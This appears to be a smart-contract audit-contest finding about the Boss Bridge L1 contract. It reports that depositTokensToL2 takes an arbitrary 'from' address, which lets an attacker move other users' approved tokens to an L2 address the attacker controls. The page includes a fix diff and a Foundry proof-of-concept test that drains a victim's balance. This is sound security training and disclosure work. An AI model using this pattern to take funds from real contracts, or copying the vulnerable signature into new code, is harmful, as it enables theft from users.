Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

`depositTokensToL2` missing input validation allows an attacker to deposit random user's funds that have approved the bridge in the past

Summary

depositTokensToL2 functions allows transfers from arbitrary addresses that have approved bridge address in the past.

Details

When depositing funds, depositTokensToL2 allows anyone to transfer funds from another user's address that gave sufficient approval to the token bridge address. The attacker can enter their own address as L2 recipient. This will allow attacker to have control of those funds in L2.

Filename

src/L1BossBridge.sol

Permalinks

https://github.com/Cyfrin/2023-11-Boss-Bridge/blob/dad104a9f481aace15a550cf3113e81ad6bdf061/src/L1BossBridge.sol#L70C20-L70C20

Impact

Malicious user can transfer funds from another user and send them to attacker controlled address in L2.

Recommendations

Transfer fund from msg.sender not an arbitrary address. Remove the address from parameter from the function

- function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount) external whenNotPaused {
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
revert L1BossBridge__DepositLimitReached();
}
- token.safeTransferFrom(from, address(vault), amount);
+ token.safeTransferFrom(msg.sender, address(vault), amount);
// Our off-chain service picks up this event and mints the corresponding tokens on L2
- emit Deposit(from, l2Recipient, amount);
+ emit Deposit(msg.sender, l2Recipient, amount);
}

Tools Used

  • Manual Audit

  • Foundry

POC

function testCanDepositOtherUsersFunds() public {
// regular user deposit
// user deposits a portion of their funds
uint256 userDeposit = 10e18;
vm.prank(user);
token.approve(address(tokenBridge), type(uint256).max);
tokenBridge.depositTokensToL2(user, userInL2, userDeposit);
assertEq(token.balanceOf(address(vault)), userDeposit);
assertEq(token.balanceOf(address(user)), 1000e18 - userDeposit);
// attacker sees that user has more funds and also sees that the
// approval for the users address is still there.
// The attacker issues a call to deposit function but with the other
// user's address as depositor and sends them to attackers address on L2
address attackerInL2 = makeAddr("attackerInL2");
uint256 restOfUserFunds = token.balanceOf(address(user));
vm.expectEmit();
emit Deposit(user, attackerInL2, restOfUserFunds);
tokenBridge.depositTokensToL2(user, attackerInL2, restOfUserFunds);
assertEq(token.balanceOf(address(vault)), userDeposit + restOfUserFunds);
assertEq(token.balanceOf(address(user)), 0);
}
Updates

Lead Judging Commences

0xnevi Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

depositTokensToL2(): abitrary from address

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.